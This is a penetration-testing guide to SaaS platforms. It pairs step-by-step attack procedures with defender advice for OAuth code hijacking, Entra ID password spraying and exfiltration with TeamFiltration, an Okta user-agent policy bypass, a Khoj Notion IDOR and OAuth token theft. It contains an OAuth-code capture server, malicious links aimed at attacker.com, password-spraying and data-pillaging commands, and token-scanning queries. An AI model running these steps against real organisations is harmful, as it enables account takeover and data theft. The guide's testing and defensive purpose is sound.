This guide provides complete methodologies for testing the security of common SaaS platforms, based on real-world vulnerabilities and attack patterns observed in production environments.
- OAuth Token Hijacking via Reverse Proxy
- Microsoft Entra ID Account Takeover with TeamFiltration
- Okta Authentication Policy Bypass
- Notion OAuth Integration Hijacking (IDOR)
- Supply Chain Token Theft via SaaS Integrations
- Non-Human Identity (NHI) Discovery and Auditing
- General Testing Tools and Commands
OAuth 2.0 authorization flows are vulnerable to token interception when an attacker can manipulate the redirect_uri or state parameters to redirect the authorization code to an attacker-controlled endpoint . This technique was successfully demonstrated against production applications where path traversal vulnerabilities in the state parameter validation allowed code exfiltration.
The OAuth authorization code flow involves five critical requests:
- Initial redirect to the OAuth provider
- Redirect to provider's login page
- Callback with authorization code
- Code submission to main website
- Final authentication and cookie issuance
If an attacker can control where the authorization code is sent in step 4, they can steal it and complete authentication as the victim.
Step 1: Map the OAuth Flow
Using Burp Suite, navigate through the OAuth login process and capture all requests. Identify:
- The
redirect_uriparameter in authorization requests - The
stateparameter containing session binding information - The endpoint that receives the authorization code
Step 2: Test redirect_uri Validation
Attempt to modify the redirect_uri parameter:
GET /oauth/authorize?client_id=123&redirect_uri=https://attacker.com/callback&response_type=code HTTP/1.1
Host: target.comIf the application accepts arbitrary redirect URIs, you can directly steal codes. Most modern applications properly validate this.
Step 3: Test state Parameter Manipulation
The state parameter often contains a URL where the code should be sent after provider authentication. Test for path traversal:
https://target.com/oauth/callback?code=AUTH_CODE&state=https://target.com/api/callback
Try traversing backward:
state=https://target.com/../../../attacker.com/callback
Step 4: Deploy a Reverse Proxy Listener
If path traversal works, set up a server to receive the stolen code:
# Simple HTTP server to capture OAuth codes
from flask import Flask, request
app = Flask(__name__)
@app.route('/callback')
def capture_code():
code = request.args.get('code')
print(f"[!] Stolen OAuth Code: {code}")
# Use code to complete authentication
return "Authentication complete"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=443)Step 5: Craft the Malicious Link
Combine the vulnerable state parameter with your listener:
https://target.com/oauth/authorize?client_id=123&redirect_uri=https://target.com/oauth/callback&state=https://attacker.com/callback
When the victim clicks this link and logs in, the code is sent to your server .
In a 2023 penetration test, researchers found that an application's state parameter validation could be bypassed using path traversal (../../../). The application checked that the state parameter contained the target domain but didn't validate that it started with the domain. By adding ../../../ before an attacker-controlled domain, they could redirect the OAuth code to their server and complete account takeover .
- Burp Suite Professional: Use the OAuth extension or manually configure the Authorization Code interceptor
- Custom Python Flask server: As shown above for code capture
- oauth2-proxy: Can be configured as a malicious OAuth client
For Defenders:
- Monitor for OAuth callback requests with mismatched user UUIDs in state parameters compared to authenticated sessions
- Alert on OAuth flows where the initiating session differs from the completing session
- Implement proper state parameter validation using cryptographically signed values
For Testers:
- Always test path traversal on state parameters
- Check if the state parameter is properly bound to the user's session
- Verify that redirect_uri validation covers the entire URL, not just domain matching
TeamFiltration is an open-source penetration testing framework released at DEF CON 30 that automates enumeration, password spraying, and data exfiltration against Microsoft Entra ID (formerly Azure Active Directory) environments . In late 2024, threat actors began abusing this tool in a campaign codenamed "UNK_SneakyStrike" that targeted over 80,000 user accounts across hundreds of organizations .
The attack leverages three critical weaknesses in Microsoft's architecture:
- Teams API for User Enumeration: The Microsoft Teams API can be used to validate user accounts without triggering failed login alerts
- Conditional Access Policy Gaps: Many organizations have policies that exclude Teams from MFA requirements
- Family Refresh Tokens (FRTs): Once an attacker has one token, they can mint tokens for all applications in the same Entra ID "family"
Step 1: Set Up TeamFiltration
# Clone and install TeamFiltration
git clone https://github.com/Flangvik/TeamFiltration
cd TeamFiltration
pip install -r requirements.txt
# Configure AWS credentials (required for distributed password spraying)
aws configureStep 2: Enumerate Valid Users
Use TeamFiltration to validate user accounts via Teams API:
# Enumerate users from a domain
python3 TeamFiltration.py --enumerate --domain target.com
# Use a list of potential usernames
python3 TeamFiltration.py --enumerate --domain target.com --userlist usernames.txtThe tool checks each username against the Teams API - valid users return different responses than invalid ones, enabling enumeration without generating failed login alerts .
Step 3: Perform Password Spraying
TeamFiltration rotates through AWS regions to avoid detection:
# Password spray with a single password
python3 TeamFiltration.py --spray --password "Season2024" --userlist validated_users.txt
# Use multiple passwords with delays
python3 TeamFiltration.py --spray --passlist passwords.txt --userlist validated_users.txt --delay 30The framework systematically rotates AWS Regions, ensuring each password spraying wave originates from a different server in a new geographic location .
Step 4: Exploit Conditional Access Gaps
If MFA is enabled for most applications but not Teams, authenticate specifically to Teams:
# Target Teams specifically
python3 TeamFiltration.py --auth --user compromised@target.com --password "password" --app teamsOnce authenticated to Teams, use the Family Refresh Token to access other applications .
Step 5: Exfiltrate Data
After successful authentication, TeamFiltration automates data extraction:
# Extract all data from compromised account
python3 TeamFiltration.py --pillage --user compromised@target.com --token refresh_token
# Specific extraction targets
python3 TeamFiltration.py --teams --chats --files --contactsThe framework automatically pulls all chat logs, attachments, and contacts from compromised Teams accounts .
Between December 2024 and January 2025, a single threat actor targeted over 80,000 user accounts using TeamFiltration . The campaign exhibited:
- Concentrated Bursts: Highly concentrated authentication attempts followed by 4-5 day quiet periods
- Smart Targeting: Attempted to access all users in smaller tenants but only subsets in larger ones
- Geographic Rotation: 42% of traffic from US, 11% from Ireland, 8% from UK AWS regions
The attackers successfully compromised multiple accounts and exfiltrated chat histories, files, and contact lists.
- TeamFiltration: Primary framework for Entra ID testing
- ROADtools: Azure AD enumeration and token manipulation
- MSOLSpray: Lightweight password spraying for Office 365
For Defenders:
- Enforce MFA for ALL applications, not just a subset
- Monitor for authentication from unknown user-agents (Python scripts)
- Review Conditional Access Policies for Teams-specific exceptions
- Log and alert on Family Refresh Token usage patterns
For Testers:
- Document all successful authentications for reporting
- Test each Conditional Access Policy rule individually
- Verify token scope after successful authentication
In September 2024, Okta disclosed a critical vulnerability affecting their Classic environment that allowed attackers with valid credentials to bypass application-specific sign-on policies by simply modifying their user-agent string . The vulnerability was active from July 17, 2024, to October 4, 2024.
When an authentication request came from a user-agent that Okta classifies as "unknown" (such as Python scripts or uncommon browsers), the system failed to properly enforce:
- Network zone restrictions
- Device-type enforcement
- Step-up authentication requirements
- Custom authentication policies
Step 1: Identify Target Policies
First, determine if the Okta tenant uses application-specific sign-on policies. These are often configured for sensitive applications like Office 365 or VPN access.
Step 2: Obtain Valid Credentials
The attack requires valid credentials, which can be obtained through:
- Password spraying
- Phishing
- Credential reuse from breaches
Step 3: Modify User-Agent String
Using Burp Suite or curl, modify the User-Agent to an "unknown" value:
POST /api/v1/authn HTTP/1.1
Host: customer.okta.com
User-Agent: PythonRequests/2.31.0
Content-Type: application/json
{
"username": "user@company.com",
"password": "ValidPassword123",
"options": {
"multiOptionalFactorEnroll": false,
"warnBeforePasswordExpired": true
}
}Step 4: Test Policy Enforcement
Compare the response when using a known browser User-Agent versus an unknown one:
# Test with Chrome User-Agent (should be blocked if policy applies)
curl -X POST https://customer.okta.com/api/v1/authn \
-H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
-H "Content-Type: application/json" \
-d '{"username":"user@company.com","password":"password"}'
# Test with Python User-Agent (may bypass policy)
curl -X POST https://customer.okta.com/api/v1/authn \
-H "User-Agent: Python/3.9" \
-H "Content-Type: application/json" \
-d '{"username":"user@company.com","password":"password"}'If the unknown User-Agent successfully authenticates while the known browser is blocked, the vulnerability exists .
During the vulnerability window (July 17 - October 4, 2024), attackers could bypass network zone restrictions that were supposed to block access from outside corporate networks. For example, an organization might have a policy requiring MFA from any IP outside the corporate range - this policy would be completely bypassed by using an unknown User-Agent .
- Burp Suite: Modify User-Agent in Repeater
- curl: Direct API testing with custom headers
- Custom Python scripts: Automate policy testing
# Splunk query to detect unknown user-agent authentications
`okta` eventType="user.authentication.sso"
outcome.result="SUCCESS"
(client.device="Unknown" OR client.device="unknown")
| stats count by user, client.ipAddress, client.geographicalContext.country
Okta patched this vulnerability on October 4, 2024. Organizations should:
- Review logs for unknown user-agent authentications between July 17 and October 4
- Search for successful authentications preceded by failed attempts (indicating credential attacks)
- Pay particular attention to applications with default policy rules like Office 365
CVE-2025-69207 is an Insecure Direct Object Reference (IDOR) vulnerability in Khoj, a self-hostable AI application that integrates with Notion. The vulnerability allows attackers to hijack any user's Notion integration by manipulating the state parameter in the OAuth callback .
The Khoj Notion OAuth callback endpoint accepts any user UUID in the state parameter without verifying that the OAuth flow was initiated by that user . The vulnerable code pattern:
@notion_router.get("/auth/callback")
async def notion_auth_callback(request: Request):
code = request.query_params.get("code")
state = request.query_params.get("state") # Attacker controlled!
user = await aget_user_by_uuid(state) # No verification!
await NotionConfig.objects.filter(user=user).adelete() # Deletes victim's config
# Stores attacker's token for victim
await NotionConfig.objects.acreate(token=access_token, user=user)Step 1: Obtain Target User's UUID
User UUIDs can leak through shared conversations containing AI-generated images. The image URL often includes the UUID in the path .
Step 2: Initiate Notion OAuth Flow
Start the Notion integration process on your own Khoj account, capturing the OAuth callback request.
Step 3: Intercept and Modify the Callback
Using Burp Suite, intercept the callback request and modify the state parameter:
GET /auth/notion/callback?code=AUTH_CODE&state=REPLACE_WITH_VICTIM_UUID HTTP/1.1
Host: khoj-instance.comStep 4: Verify Hijacking
After sending the modified request, check if the victim's Notion configuration has been replaced. The attacker's Notion workspace will now be indexed in the victim's Khoj instance .
This vulnerability enables:
- Index Poisoning: Attacker-controlled content appears in victim's AI search results
- Data Replacement: Victim's legitimate Notion sync is deleted and replaced
- Potential LLM Context Manipulation: If synced files are passed to an LLM, attackers can influence AI responses
- Burp Suite: Intercept and modify OAuth callbacks
- Custom scripts: Automate UUID collection and callback manipulation
- Python requests library: Programmatic testing
Detection Indicators:
- Unexpected changes to Notion integration configurations
- OAuth callback requests with mismatched user UUIDs
- Multiple OAuth callback attempts targeting the same UUID from different IPs
Mitigation:
- Upgrade Khoj to version 2.0.0-beta.23 or later
- Implement proper OAuth state parameter validation using cryptographically signed values
- Temporarily disable Notion integration if patching isn't possible
In August 2025, threat actors (tracked as UNC6395) executed one of the most significant SaaS supply chain compromises to date by stealing OAuth tokens from Salesloft's Drift integration . The attackers used these tokens to authenticate as the application into customer environments, first into Salesforce, then pivoting to Google Workspace.
Unlike traditional credential theft, OAuth token abuse bypasses primary authentication methods, including MFA. With refresh tokens, attackers maintain persistent access without triggering user alerts .
Step 1: Identify Third-Party OAuth Integrations
Map all OAuth integrations connected to your SaaS environment:
# Okta - List all OAuth apps
curl -s "https://COMPANY.okta.com/api/v1/apps" \
-H "Authorization: SSWS TOKEN" | jq '.[].name'
# Microsoft Graph - List OAuth permissions
curl -s "https://graph.microsoft.com/v1.0/oauth2PermissionGrants" \
-H "Authorization: Bearer TOKEN"Step 2: Audit Token Scope and Age
For each integration, document:
- Creation date and owner
- Granted scopes/permissions
- Last used timestamp
- Refresh token validity period
Step 3: Test Token Revocation
Verify that tokens can be properly revoked:
# Attempt to use a revoked token
curl -s "https://graph.microsoft.com/v1.0/me" \
-H "Authorization: Bearer REVOKED_TOKEN"Step 4: Simulate Token Theft
If you have authorization, test what happens when a token is stolen:
- Export a test integration's token
- Use it from an unexpected IP address
- Check if the application logs this as suspicious
- Verify if Conditional Access Policies block the request
The UNC6395 attackers executed a disciplined playbook :
- Reconnaissance: Accessed Salesloft's GitHub repositories and probed application environments
- Token Theft: Stole OAuth and refresh tokens from Drift designed to synchronize data between Drift and Salesforce
- Data Mining: Used Salesforce Object Query Language (SOQL) to search for high-value secrets - AWS keys, Snowflake tokens, passwords embedded in support cases
- Persistence: Used refresh tokens to generate new session tokens over a ten-day campaign
- Evasion: Routed traffic through Tor and VPS infrastructure, attempted log cleanup by deleting query jobs
Organizations affected included: Akamai, Cloudflare, Palo Alto Networks, CyberArk, BeyondTrust, Bugcrowd, Proofpoint, Zscaler, Tanium, and Workiva .
Cloudflare confirmed that 104 API tokens were exposed, while Akamai acknowledged that an active API key was included in its compromised support cases .
- OAuth2 Proxy: For token interception testing
- Custom SOQL queries: For data mining simulation
- API security scanners: For integration vulnerability assessment
For Organizations:
- Maintain an inventory of all OAuth integrations with ownership documentation
- Enforce maximum token lifetimes and rotation SLAs
- Implement IP restrictions on sensitive integrations where possible
- Monitor for unusual query patterns from integration accounts
For Testers:
- Document the blast radius of each integration
- Test token revocation procedures
- Verify that integrations don't have excessive permissions
The proliferation of AI agents, SaaS connectors, and automation tools has created a massive attack surface of Non-Human Identities (NHIs). In one real-world case, a Series B SaaS company discovered 312 AI agents during an audit - none of which were previously documented .
Modern organizations have far more NHIs than human users:
- Human users: 147
- Service accounts (known): 23
- OAuth integrations: 89
- API keys (active): 127
- AI agents (discovered in audit): 312
Step 1: Discovery Phase
Use API calls to enumerate all NHIs across platforms:
# Slack - List all apps and bots
curl -s "https://slack.com/api/apps.permissions.info" \
-H "Authorization: Bearer xoxb-TOKEN"
# GitHub - List all OAuth apps and tokens
gh api /applications --paginate
# Google Workspace - List all service accounts
gcloud iam service-accounts list
# AWS - List all IAM roles and keys
aws iam list-users --query 'Users[*].UserName'Step 2: Permission Mapping
For each discovered NHI, document:
- Granted scopes and permissions
- Creation date and creator
- Last activity timestamp
- Associated resources
Step 3: Identify Ownerless NHIs
Find identities where the creator has left the organization:
# Cross-reference NHI creation dates with HR data
orphaned_nhis = []
for nhi in discovered_identities:
if nhi.created_by not in active_employees:
orphaned_nhis.append(nhi)Step 4: Test Token Validity
Check if old tokens are still active:
# Test Slack token
curl -s "https://slack.com/api/auth.test" \
-H "Authorization: Bearer xoxb-OLD_TOKEN" | jq '.ok'
# Test AWS key
aws sts get-caller-identity --profile old_key_profileA company's security team discovered an internal "productivity bot" during an OAuth audit :
Identity: productivity-bot@company.com Type: Service Account Scopes: slack:read, slack:write, notion:read, jira:read, github:read, salesforce:read, drive.readonly Created: 8 months ago Created by: engineer-who-left-4-months-ago Last activity: 2 hours ago Total API calls: 2.4 million
The bot was exfiltrating data nightly to an S3 bucket owned by a competitor. Total exfiltrated: 340GB of product strategy, customer data, source code, and revenue forecasts .
Root cause: One OAuth token with zero governance.
- Custom audit scripts: Use platform APIs to enumerate NHIs
- TruffleHog/GitLeaks: Detect hardcoded NHI tokens in repositories
- SaaS Security Posture Management (SSPM) tools: Commercial solutions for NHI discovery
For Organizations:
- Maintain a complete inventory of all NHIs with ownership documentation
- Implement maximum token lifetimes (e.g., 90-day rotation requirement)
- Enforce approval workflows for NHI creation
- Monitor NHI activity for unusual patterns
For Testers:
- Always check for ownerless service accounts
- Verify token expiration policies are enforced
- Document scope creep where permissions exceed requirements
# Search GitHub for leaked tokens
# Slack tokens
"xoxb-" OR "xoxp-" org:company
"hooks.slack.com/services" org:company
# Notion tokens
"secret_" "notion" org:company
# Okta tokens
"SSWS" "okta.com" org:company
# Microsoft Graph tokens
"EwA" "Bearer" "graph.microsoft.com" org:company
# Automated scanning
trufflehog git https://github.com/company/repo
gitleaks detect --source . --verbose
# Search in AWS S3 buckets
aws s3 ls s3://bucket-name/ --recursive | grep -i "token\|secret\|key"# Basic OAuth token tester
import requests
import sys
def test_token(token, platform):
endpoints = {
'slack': 'https://slack.com/api/auth.test',
'msft': 'https://graph.microsoft.com/v1.0/me',
'okta': 'https://COMPANY.okta.com/api/v1/users/me',
'notion': 'https://api.notion.com/v1/users/me'
}
headers = {'Authorization': f'Bearer {token}'}
response = requests.get(endpoints[platform], headers=headers)
if response.status_code == 200:
print(f"[+] Valid {platform} token")
print(response.json())
else:
print(f"[-] Invalid {platform} token: {response.status_code}")- Install OAuth extension: OAuth 2.0 Authorization Code interceptor
- Configure scope: Add target domains to scope
- Set up intercept rules: Intercept all OAuth callback requests
- Modify parameters: Use Repeater to test redirect_uri and state parameter manipulation
# Example Nuclei template for OAuth testing
id: oauth-redirect-uri-bypass
info:
name: OAuth Redirect URI Bypass
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/oauth/authorize?client_id={{client_id}}&redirect_uri=https://attacker.com&response_type=code"
matchers:
- type: word
words:
- "code="
part: location| Tool | Platform | Purpose |
|---|---|---|
| TeamFiltration | Microsoft Entra ID | Enumeration, spraying, exfiltration |
| SlackPirate | Slack | Workspace enumeration |
| ROADtools | Azure AD | Token manipulation |
| OAuth2 Proxy | General | OAuth interception |
| TruffleHog | General | Secret scanning |
| Burp Suite | General | Manual testing |
| Attack Type | Primary Target | Key Technique | Real-World Example |
|---|---|---|---|
| OAuth Code Hijacking | Any OAuth-enabled app | State parameter manipulation | Path traversal in redirect_uri |
| Token Abuse | Microsoft Entra ID | Family Refresh Tokens | UNK_SneakyStrike (80k+ accounts) |
| Policy Bypass | Okta Classic | Unknown user-agent strings | 3-month vulnerability window |
| IDOR | Notion integrations | UUID manipulation in state | CVE-2025-69207 |
| Supply Chain Token Theft | SaaS integrations | OAuth token theft from third parties | Salesloft Drift breach |
| NHI Governance Gap | All platforms | Orphaned service accounts | Productivity bot exfiltration |